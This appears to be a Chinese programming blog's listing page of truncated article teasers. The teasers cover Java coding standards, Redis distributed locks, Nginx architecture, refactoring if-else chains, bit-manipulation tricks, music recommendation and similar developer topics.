不久前,阿里巴巴发布了《阿里巴巴Java开发手册》,总结了阿里巴巴内部实际项目开发过程中开发人员应该遵守的研发流程规范,这些流程规范在一定程度上能够保证最终的项目交付质量,通过在时间中总结模式,并推广给广大开发人员,来避免研发人员在实践中容易犯的错误,确保最终在大规模协作的项目中达成既定目标。 无独有偶,笔者去年在公司里负责升级和制定研发流程、设计模板、设计标准、代码标准等规范,并在实际工作中进行...
SQL-小白最佳入门sql查询一
不要偷偷的查询我的个人资料,即使你再喜欢我,也不要这样,真的不好;
redis分布式锁,面试官请随便问,我都会
文章有点长并且绕,先来个图片缓冲下! 前言 现在的业务场景越来越复杂,使用的架构也就越来越复杂,分布式、高并发已经是业务要求的常态。像腾讯系的不少服务,还有CDN优化、异地多备份等处理。 说到分布式,就必然涉及到分布式锁的概念,如何保证不同机器不同线程的分布式锁同步呢? 实现要点 互斥性,同一时刻,智能有一个客户端持有锁。 防止死锁发生,如果持有锁的客户端崩溃没有主动释放锁,也要保证锁可以正常释...
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
Nginx 原理和架构
Nginx 是一个免费的,开源的,高性能的 HTTP 服务器和反向代理,以及 IMAP / POP3 代理服务器。Nginx 以其高性能,稳定性,丰富的功能,简单的配置和低资源消耗而闻名。 Nginx 的整体架构 Nginx 里有一个 master 进程和多个 worker 进程。master 进程并不处理网络请求,主要负责调度工作进程:加载配置、启动工作进程及非停升级。worker 进程负责处...
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,...
程序员:我终于知道post和get的区别
是一个老生常谈的话题,然而随着不断的学习,对于以前的认识有很多误区,所以还是需要不断地总结的,学而时习之,不亦说乎
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU...
加快推动区块链技术和产业创新发展,2019可信区块链峰会在京召开
11月8日,由中国信息通信研究院、中国通信标准化协会、中国互联网协会、可信区块链推进计划联合主办,科技行者协办的2019可信区块链峰会将在北京悠唐皇冠假日酒店开幕。   区块链技术被认为是继蒸汽机、电力、互联网之后,下一代颠覆性的核心技术。如果说蒸汽机释放了人类的生产力,电力解决了人类基本的生活需求,互联网彻底改变了信息传递的方式,区块链作为构造信任的技术有重要的价值。   1...
Java世界最常用的工具类库
Apache Commons Apache Commons有很多子项目 Google Guava 参考博客
程序员把地府后台管理系统做出来了,还有3.0版本!12月7号最新消息:已在开发中有github地址
第一幕:缘起 听说阎王爷要做个生死簿后台管理系统,我们派去了一个程序员…… 996程序员做的梦: 第一场:团队招募 为了应对地府管理危机,阎王打算找“人”开发一套地府后台管理系统,于是就在地府总经办群中发了项目需求。 话说还是中国电信的信号好,地府都是满格,哈哈!!! 经常会有外行朋友问:看某网站做的不错,功能也简单,你帮忙做一下? 而这次,面对这样的需求,这个程序员...
网易云6亿用户音乐推荐算法
网易云音乐是音乐爱好者的集聚地,云音乐推荐系统致力于通过 AI 算法的落地,实现用户千人千面的个性化推荐,为用户带来不一样的听歌体验。 本次分享重点介绍 AI 算法在音乐推荐中的应用实践,以及在算法落地过程中遇到的挑战和解决方案。 将从如下两个部分展开: AI算法在音乐推荐中的应用 音乐场景下的 AI 思考 从 2013 年 4 月正式上线至今,网易云音乐平台持续提供着:乐屏社区、UGC...
【技巧总结】位运算装逼指南
位算法的效率有多快我就不说,不信你可以去用 10 亿个数据模拟一下,今天给大家讲一讲位运算的一些经典例子。不过,最重要的不是看懂了这些例子就好,而是要在以后多去运用位运算这些技巧,当然,采用位运算,也是可以装逼的,不信,你往下看。我会从最简单的讲起,一道比一道难度递增,不过居然是讲技巧,那么也不会太难,相信你分分钟看懂。 判断奇偶数 判断一个数是基于还是偶数,相信很多人都做过,一般的做法的代码如下...
为什么要学数据结构?
一、前言 在可视化化程序设计的今天,借助于集成开发环境可以很快地生成程序,程序设计不再是计算机专业人员的专利。很多人认为,只要掌握几种开发工具就可以成为编程高手,其实,这是一种误解。要想成为一个专业的开发人员,至少需要以下三个条件: 1) 能够熟练地选择和设计各种数据结构和算法 2) 至少要能够熟练地掌握一门程序设计语言 3) 熟知所涉及的相关应用领域的知识 其中,后两个条件比较容易实现,而第一个...
Android 9.0 init 启动流程
阅读五分钟,每日十点,和您一起终身学习,这里是程序员Android本篇文章主要介绍Android开发中的部分知识点,通过阅读本篇文章,您将收获以下内容:一、启动流程概述一、 启动流程概述Android启动流程跟Linux启动类似,大致分为如下五个阶段。1.开机上电,加载固化的ROM。2.加载BootLoader,拉起Android OS。3.加载Uboot,初始外设,引导Kernel启动等。...
相关热词 c#委托 逆变与协变 c#新建一个项目 c#获取dll文件路径 c#子窗体调用主窗体事件 c# 拷贝目录 c# 调用cef 网页填表c#源代码 c#部署端口监听项目、 c#接口中的属性使用方法 c# 昨天
立即提问